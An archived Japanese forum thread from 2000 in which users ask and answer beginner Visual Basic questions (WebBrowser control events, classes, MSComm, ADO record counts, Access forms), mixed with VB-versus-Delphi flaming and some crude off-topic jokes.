>>183 その知り合いが、今精神病院に通っているので聞けそうにないです
188 :
MS信者 :2000/11/25(土) 03:41
174=175=177です。 誰かレズしてください。お願いします。
>187 なんで?入院ならともかく、通ってるだけならきけるだろ?
おまえしつけーな。IE使ったブラウザなんか作るなボケ。 NewWindow の時にキャンセルフラグをTRUEにすれば、ナビゲートされない。 クリックした文字列を獲得するのは、IE5では難しい。 あえてやるなら、windowオブジェクトに対してシンクしなきゃ だめだろうな。VBじゃむりか(ワラ 新しいウインドウを自分で開きたいなら、自分で作ってppDispに渡す。 ブラウザからソースを知りたいなら、GetLocationURL()とGetUrlCacheEntryInfo() を使えばいい。ぼけ
191 :
MS信者 :2000/11/25(土) 05:13
>190 どうも教授ありがとうございます。本で調べても、ブラウザ関係は 後ろの方にチョコッと載ってるだけだったもので、、、。
192 :
名無しさん@お腹いっぱい。 :2000/11/25(土) 06:22
>184 Meがカレントフォームインスタンスなことは分かってます?
193 :
名無し娘。@184 :2000/11/25(土) 07:35
>192さん えー、そーゆーのはわかりますです Me.Show Me.Refresh の他に何があるか、どんなことができるか知りたいです。
194 :
MS信者 :2000/11/25(土) 07:48
>新しいウインドウを自分で開きたいなら、自分で作ってppDispに渡す ppDispって何ですか?どうやって渡せばいいのでしょうか? >ブラウザからソースを知りたいなら、GetLocationURL()とGetUrlCacheEntryInfo() >を使えばいい。ぼけ ヴィジュアルベーシックでは、使えませんでした。
195 :
>193 :2000/11/25(土) 08:45
meは自分の事です。自分が出来る事なら何でも出来ます。
196 :
山内 :2000/11/25(土) 18:55
VBが「不正な処理」で動かないのですが。どうしてでしょうか? 「例」RARUTY が無効な命令を実行しました。 モジュール : OLEAUT32.DLL、アドレス : 015f:6539de4f Registers: EAX=80004005 CS=015f EIP=6539de4f EFLGS=00010213 EBX=0119d690 SS=0167 ESP=0075f9e0 EBP=0075f9fc ECX=0075fa08 DS=0167 ESI=0075fa18 FS=1d27 EDX=00750003 ES=0167 EDI=00000000 GS=0000 Bytes at CS:EIP: ff ff ff ff ff ff c1 49 81 e1 0a 00 00 80 8b c1 Stack dump: 66040cc6 005af6b4 0075fa08 0119dc20 0119d690 66004bd0 00000000 0075fa1c 6601ee9e 00000586 00000003 00000001 00000023 0119d690 005af6b4 0075fa5c
動かないのはVBで作ったアプリじゃなくて VBそのものなの?
198 :
SAGE :2000/11/25(土) 21:49
>>194 俺VB使ったこと無いからよく知らんけど、ppDispは NewWindow2 イベントの第一引数。
Private object_NewWindow2 (ByVal ppDisp As Object, ByVal Cancel As Boolean)
LocationURL はブラウザコントロールのプロパティだ。
199 :
名無しさん@お腹いっぱい。 :2000/11/26(日) 01:59
SetLayeredWindowAttributesを使用したいんですけど、スタートメニューとタスクバーのウィンドウハンドルはどのように取得するのでしょうか?
200 :
名無しさん@お腹いっぱい。 :2000/11/26(日) 16:40
201 :
MS信者 :2000/11/26(日) 23:12
>198 どうもありがとうございます。しかし、いろいろやってみても 新しいウィンドウで開くのを防ぐことはできても、 そのリンク先をもとのブラウザに渡して、開くことができません。
202 :
山内=196 :2000/11/27(月) 10:57
よく見たら折俺迷子だ。
203 :
母を訪ねて名無しさん千里 :2000/11/27(月) 21:21
とりあえずまったくの初心者でどうしてもVBが必要なのですが 勉強するとしたらどの本がいいのでしょうか?
204 :
名無しさん@お腹いっぱい。 :2000/11/27(月) 21:36
Javaアプレットの見たいのを、 ActiveXというのを使ってVBで作れるって聞きました サンプルのサイトとかご存知でしたら教えてください
205 :
名無しさん@お腹いっぱい。 :2000/11/28(火) 02:46
ウェブブラウザのBeforeNavigate2が使えません。 文法通り記述して、objectにWebBrowserを充てるとエラーになります。 オブジェクト名は正しいので、原因がさっぱりです。 それと、HTMLのフレームが使ってあると、ソースがフレームのものしか読み込まれ ないのですが、簡単に回避する方法はあるでしょうか?
206 :
厨房 :2000/11/30(木) 15:23
あのー、VBアプリからUNIXサーバのシェル起動って出来ますでしょうか・・・?
207 :
名無しさん@お腹いっぱい。 :2000/11/30(木) 17:52
ドラクエの会心のの一撃って、 ・A=(自分の総合的な攻撃力)-(相手の総合的な防御力) ・Aがある一定の値を満たしたら乱数で(決められた確率で)抽選。 ・抽選に当たったら会心の一撃 みたいな感じなんですか?
スレ間違えました
209 :
>203 :2000/11/30(木) 18:02
分野によるんじゃない? VBAと違ってやることは多岐に渡るわけで。 とりあえず初歩の初歩は安い本で事足りると思うけどね。 その後必要に応じて専門の本買えば?
210 :
名無しさん@お腹いっぱい。 :2000/12/02(土) 03:47
入力値にただ1を足す処理で Private Sub cmdStart_Click() Dim intRet As Integer '結果 Dim hoge As clsDefault Set hoge = New clsDefault hoge.data = txtDta.Text'入力値 intRet = hoge.GetMath() txtRet.Text = intRet Set hoge = Nothing End Sub --- clsDefaultに Private m_data As Integer Public Property Get data() As Variant under = m_data End Property Public Property Let data(ByVal vNewValue As Variant) m_data = vNewValue End Property Public Function GetMath() As Integer GetMath = m_data + 1 '1足す End Function Private Sub Class_Initialize() m_data = 0 End Sub ------------ txtDta.Textの入力値が適正かどうかのエラー処理は、 1. hoge.dataへ格納する前 2. アクセス関数の中で。 のどちらが正しいのでしょうか?
どちらでも良い。つか両方ヤレ>210
212 :
名無しさん@お腹いっぱい。 :2000/12/02(土) 04:05
あまり世間がクラスクラスって騒ぐからこういう風になるんだよ。 Private Sub cmdStart_Click() txtRet.Text = CInt(txtDta.Text) + 1 End Sub で終わるのに。
中学校の時のクラスは余り好きじゃなかったなあ。先生も
世の中いろんな人がいるなあ。 サンクスで肉まんでも買ってこよう。
215 :
名無しさん@お腹いっぱい。 :2000/12/04(月) 06:45
ActiveXコントロールなるものを使ってみようと思い立ちいろいろいぢってるのですが、 作ったコントロールを埋め込んだ フォームからDragして ActiveXコントロール内にDropしたときにコードを蹴るためには どんな技を使えばよいのでしょうか? 1. ○ 親フォームでDrag → 親フォームにDrop 2. ○ ActiveXコントロール内でDrag → ユーザコントロール内にDrop 3. × 親フォームでDrag → ユーザコントロール内にDrop 4. × ActiveXコントロール内でDrag → 親フォームにDrop 特に4の場合、なにか掴んでActiveXコントロールの外にマウスを持っていくと マウスカーソルが"そいつは無理っす!!"と言い出します。 なんか方法があるのでしょうか? それとも無理なんすか…?
216 :
215 :2000/12/04(月) 06:49
言葉がバラバラでした。 s/ユーザ/ActiveX/ です。
217 :
VB使い :2000/12/04(月) 07:25
すみません。 標準モジュールと、クラスの違いをおしえて下さい。 標準モジュールは、全体でつかえる、定数とか、関数を定義 できるというのが認識ですが、クラスというのはなんなんでしょうか?
218 :
名無しさんi486 :2000/12/04(月) 07:48
>>217 オブジェクトのメッセージとプロパティの定義を書く(つまりC++のクラス)
そのクラスのインスタンスを生成しオブジェクトとして操作する。
つまりオブジェクト指向な書き方が出来る。
現バージョンでは派生できないが。
220 :
(´ー‘)y-〜〜 :2000/12/04(月) 17:34
完全なオブジェクト指向言語になり、.netでマルチプラットフォームの仲間入り。 さようならDelphi。
>>220 '不'完全な、の間違いに1000ヴェク
222 :
(´ー‘)y-〜〜 :2000/12/04(月) 18:15
Delphiに勝ち目が無くなるだけでいいや。
マルチプラットフォームって・・・Win環境、IE環境に 思いっきり依存してますが・・・ kylixプロジェクトの方が魅力的。
外部DLLを必要とする時点でDelphiに負けてます。
基本型が無いので VBの負け
ADOとBDEじゃ ADOが全然クソ
コントロール配列ができないので Delphiの負け って言いたいが VB.NETでも無くなるのでこれはドロー
228 :
名無しさん@お腹いっぱい。 :2000/12/04(月) 22:06
API宣言が面倒なので VBの負け
構造体を Private宣言できないので VBの負け
1ファイル1クラスなので VBの負け
バージョンアップ時の仕様変更が超大胆なので VBの勝ち
232 :
名無しさん@お腹いっぱい。 :2000/12/04(月) 23:06
ぶいびーさいこうだよ ぶいびーせぶんであのめんどうなえらーしょりがかいぜんされるんだよ まいくろそふとのせいひんだしね はせいもけいしょうもできるんだよ ぶいびーさいこうだよ
233 :
名無しさん@お腹いっぱい。 :2000/12/04(月) 23:20
>はせいもけいしょうもできるんだよ そりゃすごいね。 派生と継承ができるんだー
234 :
名無しさん@お腹いっぱい。 :2000/12/04(月) 23:29
↑おもしろいね 最初気がつかなかったよ
なんか使えるコントロールがどんどん変わっていくね。
236 :
名無しさん@お腹いっぱい。 :2000/12/05(火) 04:21
各ボタンにテンキーを押した時と同じ効果を持たせたいのですが、どのようなソースを書けばいいですか?
237 :
名無しさん@お腹いっぱい。 :2000/12/05(火) 09:19
>>236 コントロール配列にしてそのままIndex抜いちゃうとか。
238 :
名無しさん@お腹いっぱい。 :2000/12/05(火) 12:40
GetProfileSection()のバッファサイズはどの位を指定すればいいんでしょうか?
240 :
名無しさん@お腹いっぱい。 :2000/12/05(火) 14:20
でるふぁいさいこうだよ ぶいびーみたいにらんたいむだっていらないしさ でるふぁいもそんなにねだんたかくないしね でるふぁいしっくすでぶいびーせぶんをおいぬくよ でるふぁいさいこうだよ でるふぁいまんせ〜〜
241 :
(´ー‘)y-〜〜 :2000/12/05(火) 15:12
Delphiねぇ。 次期バージョンで完全にVBが上回ったからなぁ。 kylixはどうせ浮かび上がることもないだろうし。 時代の流れは速いねぇ。
どこらへんが上回ったのだろう?初代Delphiから あった機能がやっと実現できたぐらいで。 敷居が高くなった事かな?
243 :
(´ー‘)y-〜〜 :2000/12/05(火) 20:03
ん〜? 確かWin95が発売されたときMacユーザがそんなこと言ってたっけなぁ? おいらは鼻で笑ってたけど。
VBはどう見たって時代の流れが遅かった。
245 :
名無しさん@お腹いっぱい。 :2000/12/05(火) 21:59
ActiveX DLLをコンパイルする時の、DLLベースアドレスの設定の仕方がいまいちわかりません。 どうにか頭に叩き込む良い方法はないでしょうか?
>(´ー‘)y-〜〜 くだらん煽りしてねえでさっさと初心者の質問 答えてやれよ。
247 :
(´ー‘)y-〜〜 :2000/12/05(火) 22:15
>>245 OSが勝手に最適化してくれるからほっといても大丈夫さ〜〜
248 :
名無しさん@お腹いっぱい。 :2000/12/05(火) 22:36
VBはDelphi化しないで、よりお手軽を目指さしてほしいな
249 :
名無しさん@お腹いっぱい。 :2000/12/06(水) 04:48
ぶいびーせぶんはさいこうだよ ばりあんとがたがなくなるんだ しーしゃーぷやしーぷらすぷらすのこーどからもかんたんにけいしょうできるしね あくせすかんすうだってみやすくなったよ じつはぶいびーせぶんはでるふぁいをたおすためのごくひぷろじぇくとなんだ ぶいびーさいこうだよ
ずいぶんおおっぴらなごくひぷろじぇくとやな。
251 :
名無しさん@お腹いっぱい。 :2000/12/06(水) 14:00
.
Delphiは風前の灯火。 あとは歴史に何を残すかが課題だねぇ
VBのオリジナルを開発したアーキテクトって誰ですか?
VB7になっても今までのActiveXコントロールは使えますか?
255 :
名無しさん@お腹いっぱい。 :2000/12/06(水) 16:11
VBでウィンドウにメディアプレーヤを組み込みました。 メディアプレーヤの再生ボタンを押したときのメッセージの受け取り方を教えてください。
>>254 もちろん。
aximp.exeとかいうのを使うと、ラッパークラスを作ってくれる。
ActiveXを継承することも可。
M$帝国万歳!ゲイツ閣下万歳!ヘイルゲイツ!
260 :
帝国主義者 :2000/12/06(水) 19:25
VB7はOSやIE、OFFICEのバージョンやサービスパック が上がっても影響しなくなりますか?LINUXやMAC OSでも 動きますか?
261 :
名無しさん@お腹いっぱい。 :2000/12/06(水) 21:00
Delphi は Linux で生き延びる。
262 :
名無しさん@お腹いっぱい。 :2000/12/06(水) 21:30
Private Function Fnc(ByRef intA As Integer) As Integer Dim intB As Integer intB = intA intB = 0 '※3 End Function ※3の部分で,参照渡しで渡されたintAのコピーintBの内容を変更したのと同時に元のintAの内容も変えるようなことは出来ないんでしょうか? つまり、"intB"と"intAのメモリ内の格納値"を一心同体にするっていうか考えたんですけど。
263 :
名無しさん@お腹いっぱい。 :2000/12/06(水) 21:40
>>262 出来ません。
ところで、なぜそんな事したかったの?
出来ないんですか。 ありがとうございました。 ただ思いついただけです.
げ、できないんだ。変な言語。 intBをintAのリファレンスとして宣言するとか出来ないの?
266 :
名無しさん@お腹いっぱい。 :2000/12/06(水) 22:20
>>625 のほうが、簡単だからじゃない?
どーしてもしたければ、クラスを使うって手もある。
267 :
(´ー‘)y-〜〜 :2000/12/06(水) 23:10
そんな事考えなくてもいいのがVBのいいところさ
268 :
名無しさん@お腹いっぱい。 :2000/12/06(水) 23:23
まいくろそふとさいこうだよ びじゅあるすたでぃおどっとねっとはぺんてぃあむすりーはっぴゃくめがへるついじょうめもりにひゃくごじゅうろくいようならかいてきだよ。 しじょうのかっせいかにつながるね。 みんなぺんてぃあむふぉーかいなよ いんてるはいってる? まいくろそふとさいこうだよ
ゲイツ様ってすてき!市場が活性化すれば 地球環境なんか知ったこっちゃないわ。
270 :
名無しさん@お腹いっぱい。 :2000/12/07(木) 13:43
質問です。 VB6のMSCommでRS-232Cの制御を考えてます。 計測器に"STX"(asciiコード)と"IT1"を送信したいのだけど、 Form1.MSComm1.Output = Chr$(2) & "IT1" と書いてもうまく行きません。 "STX"を送るのに、上のような書き方ではダメなんでしょうか? 誰か教えてください。
>>270 MSCommは使ったことねえけど、VBの母国語はUNICODEであり、
かつVBは外界は非UNICODEだと思っているので、
ANSI<->UNICODE変換にまつわる下らない諸問題に
はまることは良くあることだ。
MSCommのヘルプを良く読んで、「バイナリデータを送りたい
場合はStringではなくバイトの配列を使ってね」というような記述が
ないか(どうせあるに決まっているが)確認したまえ。
272 :
名無しさん@お腹いっぱい。 :2000/12/07(木) 14:39
僕の精液はイキがいいので、ティッシュでくるんで ゴミ箱に入れると、ゴミ箱がコトコト揺れます。 そんな僕ですがVB理解できますか?
274 :
名無しさん@お腹いっぱい。 :2000/12/07(木) 15:37
すいません。教えてください。 VBでSQLSERVERのテーブルにはいっている データ件数をカウントしたいんです。 MoveLast をつかってRecordCountをつかうと パフーマンスが低下するそうですが、他にいい方法があるのでしょうか?
275 :
712 :2000/12/07(木) 15:56
>>274 SELECT COUNT(*) FROM ...
ってのは?
>(´ー‘)y-〜〜 こいつうざいねー。VB使いってこんな奴ばっかりなんですか?
277 :
274(教えて君ですいません) :2000/12/07(木) 16:17
>275 できました!ありがとうございます。 SQLで書くんですね・・・ ちなみにMSTテーブルの件数をカウントするために、 Set Cmd = New ADODB.Command Cmd.ActiveConnection = Cn Cmd.CommandTimeout = 0 Cmd.CommandType = adCmdText Cmd.CommandText = "select * from MST where FLGA is null " Set R01 = Cmd.Execute MsgBox (R01.RecordCount) と書くと、メッセージに−1が返えされてしまうのはなぜですか?
まぁまぁ、近くに行くには原付が便利じゃない。 レーシングスーツ着てレーサーに乗るより、 車で逝くよりね。 Delphiが三輪車なだけだから。
何言ってるのか自分でわかってる。
ビル下何時がチーフソフトウェアアーキテクトなんて やってる限りVBがクソに変わりはない。
281 :
名無しさん@お腹いっぱい。 :2000/12/07(木) 20:05
それより、根本的にPascalなんて使ってるDelphiはウンコにたかるハエは間違いない。
VBvsDel板とかないの〜
283 :
名無しさん@お腹いっぱい。 :2000/12/07(木) 20:24
言語うんぬんはともかく、Delphiに勝ちはないのは確実。
284 :
名無しさん@お腹いっぱい。 :2000/12/07(木) 20:24
VBが問題ありなら、VBと比べられてるDelphiも問題あり
VBはVer.2あたりで終わりました。 VB7は全面書換中(ヘジルスバーグの自宅のPCに眠っていた Delphiのソースで)ですので出荷時期はいつになるかわかりません。
ビジュアル開発環境でWindowsとLinuxと互換性のあるものは Delphiだけになりますね。 コンパイル速度が10倍以上遅くて ライブラリが月とスッポン並に使いにくいC++開発者って のんびりやさんで幸せですね。 と、煽ってみたよ。 Delphiのこと知らないのにいうなよね>みんなさん
アラン・クーパーってやつ今何してますか?
あ、ここはC++すら使えないVBist<ダサ! 限定スレだったか。煽り間違いしてしまった。 VBしか使えない初級者を煽っても仕方なかった、スマソ Delphi使いとして君らは相手してらんないんでナー(w
Ver.2か・・・あの頃のホビーユースとしてのVBが ちょうど良かったな。Ver.4はひどかった。 Ver.5, Ver.6とやっと少し安定してきたら 言語仕様の大幅変更か・・・(-_-) SP5ぐらいまで待つか・・・ってゆーか.NETって いつでるのよ?
それより、根本的にBASICなんて使ってるVBはウンコにたかるハエのウンコに間違いない。
VB野郎どもはVBしか使ったことないんだろ? わんぱくでもいい、たくましく育て。家畜ども。
292 :
名無しさん@お腹いっぱい。 :2000/12/09(土) 03:54
VB楽しいッス。VB最高ッス。VB愛してるよ!
293 :
名無しさん@お腹いっぱい。 :2000/12/09(土) 07:14
VBばかにしてるけどさ、じゃああんたらはなにを使ってるのさ? C?VC++? それで得意になってるのかい? じゃあ聞くが、アインシュタインはVC++使えたのか?それどころか VBすら使えなかったんじゃないのか?もし生きていたら、 アインシュタインとVBで勝負して勝つ自信あるよ、おれ。(w
294 :
名無しさん@お腹いっぱい。 :2000/12/09(土) 07:29
VBってウィルスバスター?
>293 アヒャヒャ(゚∀゚)y─┛~~
296 :
名無しさん@お腹いっぱい。 :2000/12/09(土) 07:30
VB と Delphi 両方使ったら、コンパイラは適材適所というのが 感想ですなあ。 しかし、Delphi の方が適用範囲が広く、習熟するほどに開発効率が 上がるので、最近はもっぱら Delphi です。
アヒャヒャ(゚∀゚)y─┛~~ >294 ウイルスそのものじゃねーの?
298 :
名無しさん@お腹いっぱい。 :2000/12/09(土) 08:50
VBが進化するからDelphiは焦っているんだよ
>>293 アインシュタインだったらVBなら1週間程度でマスター
しちゃうかも。てか新しい言語作っちゃうかもな。
(コンピュータの発達した現代に生きてないのが残念だ。)
>>298 VBが進化するからVB使いは焦ってるんだよ。が本音だろ?
Kylixの発表は.NETのずっと前だったしね。
300 :
名無しさん@お腹いっぱい。 :2000/12/09(土) 09:38
>VBが進化するからVB使いは焦ってるんだよ。 そんなやついるわけないだろ。
てか.NETはJ2EEの対抗上出さざるをえなかったと考えるのが 自然。Windows環境にがんじがらめにしてしまえというのが その目的だね。UNIXやってる会社でC#にしようって会社はいない と思うが。
だがJava,UNIX技術者のいないドキュソな会社はまんまと はまってしまうのだろう。
303 :
名無しさん@お腹いっぱい。 :2000/12/09(土) 10:02
とは逝っても今までVBもVCもM$のネームバリューで成功してるんだから。 しかも.NETになっても名前いっしょで過去遺産も移植できる可能性がある。
304 :
名無しさん@お腹いっぱい。 :2000/12/09(土) 14:05
C++のコンストラクタ・デストラクタは,VBで言うとClass_Initialize()・Class_Terminate()のような物ですか?
なんかねえ でもドットネットは妙に皆が誉めてるし期待してるんだよね こういう時はファーストの出来が悪いと逆に大コケするんだよね サービスパックだらけとかバージョンアップの度に互換性が無いとか になると、 結局OCXの罠商法で食ってる連中だけがまた食えるだけでジリ貧じゃないかな
306 :
D :2000/12/09(土) 15:40
とりあえず、VB6からVBNに乗り換えるのは ソース互換性がないので、苦労するでしょうね。
307 :
名無しさん@お腹いっぱい。 :2000/12/09(土) 21:26
スタートメニューとタスクバーのハンドルを取得するAPIを教えてください。
308 :
>307 :2000/12/09(土) 21:46
FindWindow
309 :
名無しさん@お腹いっぱい。 :2000/12/10(日) 04:05
VB使ってると頭悪くなってるような気がするんですが なにかメリットはありますか?
頭が悪くてなっても仕事があります。
312 :
名無しさん@お腹いっぱい。 :2000/12/10(日) 08:27
Delphi最後のあがきとしてログ取っておこう。 VBの栄光の歴史の1つに入れさせてもらうよ。
はいはい、老後の楽しみにでも取っときなさい。
314 :
名無しさん@お腹いっぱい。 :2000/12/10(日) 21:32
質問です。 Learning Edition から Professional Edition にアップグレードってできるんですか。
315 :
名無しさん@お腹いっぱい。 :2000/12/11(月) 10:56
VBで迷ってるプログラムがあるんですが 1.Aのフォームを開く(最大化) 2.Bのフォームを開く(最大化) 3.Cのフォームを開く(最大化) 4.最大化されているCを閉じる こういう動作をしたときにアクティブなフォームがAになってしまいます フォームの動作を効率的に管理する方法は無いでしょうか? 開いた順にアクティブフォームを切り替えたいんですけど
316 :
VBは細かい事知らん :2000/12/11(月) 11:58
Showで前にでるウインドウは指定できるけど。 親子関係を意識しないといかんね。>315
Showメソッドの第2引数に親の指定があったはず。 FormB.Show ,Me でいいんじゃないの?
318 :
315 :2000/12/11(月) 12:31
315です カキコしてから気づいたんですけど 今作ってるプログラムAccess2kでした すいませんm(__)m VBでは親フォーム指定できました。 VBAだとできないみたいですね もうちょっと考えてみます。
319 :
名無しさん@お腹いっぱい。 :2000/12/11(月) 13:31
関数とVBAってどっちを使うべきか迷ってます。 関数を使っててどうしてもできない所をVBAでサポートするのか、 VBA使ってるならもう可能な限りVBAでこなしちゃった方が 良いのかということです。
Accessか・・・素VBよりさらに画面制御しにくいからなー。
(ちゅうか全フォームMDIの子ウィンドウだけど・・・)
私はフォーム名の履歴を配列に記憶していくスタック方式を
取ったけど。呼び出した側はacHiddenで隠しておくって小細工
しときました。(復帰時にスタックレベル下げて再表示。当然
閉じるボタン押せなくしないと管理がおかしくなるので表示し
ないようにする。)
Accessの場合1回でもエラーが出ると全変数リセット掛かるので
OUTなんですけど。(Accessは簡単な管理のみで業務には使わん方が
いいと思う。)
>>319 マクロ使わなければどちらも大して変わらん気がするけど・・・
ちゅうかAccessでも簡単なクラスは使えるようになったんで
使える局面が無いか検討してみた方がいいと思う。
グローバル変数が増えすぎるのを抑える効果があるよ。
>>314 登録ハガキ送っていればフツー出来ません?
322 :
315 :2000/12/12(火) 09:24
>320 なるほどグローバル変数に記憶しておくしかなさそうですね その方法で試してみます
323 :
絵描き :2000/12/12(火) 22:54
PhotoshopをOLEオートメーション使って操作しようと思い、 マニュアルを見たところ、「詳しくはAdobeサポートへ(英語)」 とか「OLEはMSで聞け」としか書いてません。 で、泣きながら検索してみたものの、OLE関連はEXCELやACCESSの サンプルばかりで参考になりませんでした。 どこかいいサイトないでしょうか? 自動化できないと42の画像ファイルから32x150個の矩形を オフセット付でコピペする作業を手でやる羽目に…(泣)
324 :
名無しさん :2000/12/13(水) 13:38
最近VBをはじめました。で、いちよう基本的なことは本を見たんですが FTPにログインなどの方法は書いてませんでした。で、質問です。 サーバーに接続する、ログインする、ログアウトするなどがわかりません いちよう、フリーソフトのソースは見たんですがいまいち分かりませんでした 教えてくださいお願いします。
325 :
名無しさんi486 :2000/12/13(水) 14:07
>>324 なにをしたいのかよくわからんが、まずはDLLコールを覚えて
WIN32APIを覚えて、FTPのプロトコルをRFCから探してみるとか?
私なら、面倒なのでOCXを買うけど。
326 :
324 :2000/12/13(水) 15:45
WINAPIを勉強するなら勉強サイトを見つけるか本を買うか どちらがいいですか?
327 :
名無しさん@お腹いっぱい。 :2000/12/13(水) 15:48
>>324 「いちよう」ってなんだよ、「いちおう」だろ。
329 :
324 :2000/12/13(水) 16:41
>328 すんません。言葉くずれました
330 :
名無しさん@お腹いっぱい。 :2000/12/13(水) 17:03
コンポーネントのウィンドウズメディアプレーヤのコントローラを使ってるのですが。 プレイボタンを押したときって言うのはどうやって取得するのですか? また、ムービーファイルを再生中、今どのフレームを再生しているというのは取得できるのでしょうか。
331 :
名無しさんi486 :2000/12/13(水) 17:19
332 :
夢見る名無しさん :2000/12/13(水) 18:10
いちよう初心者です。dat(1000000)があって、datに読みこんだファイルを書き出すとき、dat(0〜1000000)までのデータをひとつづつある処理(加法減法等)をしながら一バイトづつ書き出したいのですが、遅くて使い物になりません。 こういう時の定石はどういう方法ですか?
333 :
332 :2000/12/13(水) 18:18
ちなみに dim dat(1000000) as byte と宣言しています
334 :
名無しさんi486 :2000/12/13(水) 18:18
335 :
名無しさん@お腹いっぱい。 :2000/12/13(水) 18:21
>>332 CPUを変える
Pentium!!!1GHzにする
ストライピング組む
これ本当。
336 :
332 :2000/12/13(水) 19:08
役にたたねえ奴ばっかりだぜ畜生!こんなとこに質問する時間があったらオナニーしてれば良かったぜ
337 :
名無しさん@お腹いっぱい。 :2000/12/13(水) 19:53
>>336 本当なのに・・・
そこだけDLLにしたら、鬼ほど速くなるのに。グスン
338 :
332 :2000/12/13(水) 20:05
ぼくDLL作れないの教えて
339 :
332 :2000/12/13(水) 20:36
DLLってなんて読むの? でる?
340 :
名無しさん@お腹いっぱい。 :2000/12/13(水) 20:57
>>332 なんとか1000個とかいっぺんに処理できないの?
一個づつしてると遅いよ。特にファイル操作がね。
341 :
名無しさん@お腹いっぱい。 :2000/12/13(水) 21:43
1バイトずつ書き出す必要ないでしょ。 バッファにある程度まで溜めて後で一気に 書き出しても良いんじゃない?
342 :
名無しさん@お腹いっぱい。 :2000/12/13(水) 21:44
いや1Mくらい今のパソコンなら大丈夫、 1バイトづつ読まずに全部読んで全部計算終わってから全部書け
343 :
332 :2000/12/13(水) 21:44
1000ですか。 For i=0 to 1000000 step 1000 on error goto 20 put #f,,dat(i) on error goto 20 put #f,,dat(i+1) on error goto 20 put #f,,dat(i+2) ・ ・ ・ on error goto 20 put #f,,dat(i+999) next i というかんじで1000まで出力しましたが、1MBを出力するのに35秒かかりました。DoEventsを省いた場合です。 10000ぐらいやってみようかな?と思ってやったらプロシージャが長いと怒られてしまいました。
344 :
332 :2000/12/13(水) 21:50
ハッ >341 >342 今気づいた ショック なんで計算終わったのに一バイトづつやってたんだろう 鬱d氏n
345 :
332 :2000/12/13(水) 21:57
はやっ 一瞬だ 顔射します
346 :
絵描き :2000/12/13(水) 23:22
人力でやり遂げました。しくしく。
347 :
名無しさん@お腹いっぱい。 :2000/12/14(木) 13:31
クラスモジュールに書いたProperty Get,Property Set,へ配列を通す事はできるんでしょうか?
348 :
アクセス :2000/12/14(木) 17:46
VBでアクセスをDBとして使うときの質問です。 名簿を作っているのですが, カレントコードの移動、更新(変更)は出来るようになったのですが, 登録が出来ません。 AddNewメソッドを使ってやろうとしてもエラーが出ます。 私の使っている本だと、追加したいレコードの各フィールドに 値を代入するところで,プログラムに直接値が書いてあるのですが, 意味がわかりません。教えてください。
349 :
名無しさん@お腹いっぱい。 :2000/12/14(木) 18:01
AddNewしたあとで、レコードセットの各フィールドに値を設定、 その後、Updateすれ。 SQLでInsertしても可。
350 :
アクセス :2000/12/14(木) 19:16
349さん レスありがとうございます。 ”レコードセットの各フィールドに値を設定” と言うのは,VBのFORM上の連結コントロールでいいのですか? 本だとコードに記述してあったのですが, 両方やってみたんですが, エラーが出てきてしまうのですが・・・。
351 :
アクセス :2000/12/14(木) 20:23
たびたびすみません。 解決できました。 コントロール名を記述するべきところに 値自体を記述していました。 あー恥ずかしい・・・。 349さんありがとうございました。m(_ _)m
352 :
わかりません :2000/12/19(火) 01:00
Combo*で指定した、ファイルタイプのみをFile*に表示させるのはどの様にしたらいいのでしょうか? HELPを見ても全然わかんないんです・・・ 何方かVBAに詳しい方教えて頂けないでしょうか? 勉強不足ですいません!
353 :
教えて!! :2000/12/19(火) 12:30
どなたか教えてください。 リストボックスに外部ファイルのテーブルのフィールドAの値すべてを表示して、@ クリックイベントでその中にある1つを選んだら、A その選んだ値のあるカレントコードに移動して、 そのレコードのフィールドの値(リストに入ってるの以外)を 連結しているコントロールに表示したいのですが・・・。 @までは、表示できるようになり、form_Load の時点で、他の連結コントロールには、 最初のレコードの値が表示されるようになったのですが、 クリックした時点でエラーになってしまいます。 どのようにすれば良いですか? ちなみにDBは、Accesseを使っています。
>>353 どうすれば、と言われてもね・・・
「VB買いました、どうすればいいですか?」
あなた答えられますか?
355 :
HEY :2000/12/19(火) 19:17
日付の足し算ってどうやるんですか? 2000/02/28 に10を足し(10日後)たいんですけど・・・
あ、わかりました! ど〜も〜
>>353 説明が良くわからんのですがこんな感じかな?
Private Sub Combo1_Change()
If Combo1.ListIndex <> -1 Then Exit Sub
Data1.Recordset.FindFirst "比較列 = '" & Combo1.List(Combo1.ListIndex) & "'"
End Sub
358 :
名無しさん@お腹いっぱい。 :2000/12/20(水) 02:24
>>355 検索サイトで、
ユリウス日とか準ユリウス日とか調べてみ。
359 :
>358 :2000/12/20(水) 09:32
VBはお手軽だから単に数字を足すだけでOK
360 :
VBしかできない人 :2000/12/20(水) 16:22
>>355 さん
Dateadd関数でバッチリだよ。詳細はMSDNで調べてね。
361 :
361 :2000/12/21(木) 09:46
すみません。FEP機能についてなのですが、 VBのプログラム中から、ATOK→IMEというような変更ってできますでしょうか? よろしくお願いいたします。
363 :
361 :2000/12/21(木) 18:53
>362 ありがとうございます。 早速その本、購入してみます。 >ユーザ環境にどういうIMEが入っているかを決め打ちするのは >まずくないか? まったくそうなんです・・・というか、馬鹿馬鹿しいんですが、 ユーザーさんがどうしてもと言うんですよねえ。
364 :
名無しさん@お腹いっぱい。 :2000/12/21(木) 23:33
Dim a a=Null If a = Null Then ・・・ とか書いてもa=NullがTrueとならないのはなぜでしょう? ちなみに If VarType(a)=vbNull Then・・・と書くとうまくいくのですが。
365 :
353 :2000/12/22(金) 04:53
>D使い さん どーもです。
366 :
名無しさん@お腹いっぱい。 :2000/12/22(金) 07:59
VB簡単すぎるね 河口輝久さんと河野勉さんが書いてる本見たらバカでも出きるね
そこがVBの偉大なとこなんやろな‥
>>364 値Nullの判定はisNull関数では ?
ちなみに無効な参照の判定は
If Obj is Nothing Then
参照を減らしてオブジェクトの解放を促すのは
Set Obj = Nothing
ですね。
Delphiみたいな明示的な型キャストが無いのが残念。
369 :
名無しさん@お腹いっぱい。 :2000/12/22(金) 13:53
こんにちは。 dim aaa(x,y) as string と宣言した後、入れたデータを保持したまま、 xの数を変更することってできますか? ReDim Preserve だと、yしか変更できないって 書いてありますもので・・・
>>369 Collectionクラスを使えばいいんじゃないかなあ?
dim x as new Collection
dim y as Collection
dim I as Integer
For I = 1 to 10
set y = New Collection
y.Add "値"
x.Add y
Next I
これでリストにリストをぶら下げるような
x(n).y(m)みたいな参照が出来そうだけど。
371 :
370 :2000/12/22(金) 14:49
ぐお〜、VB一ヶ月の私には難しすぎまする・・・ VBってこんなことできるんですね・・・はじめて知りました・・・ D使いβさん、ありがとうございました。
名前間違えてました。371の名前は370→369です。 すいませ〜ん・・・
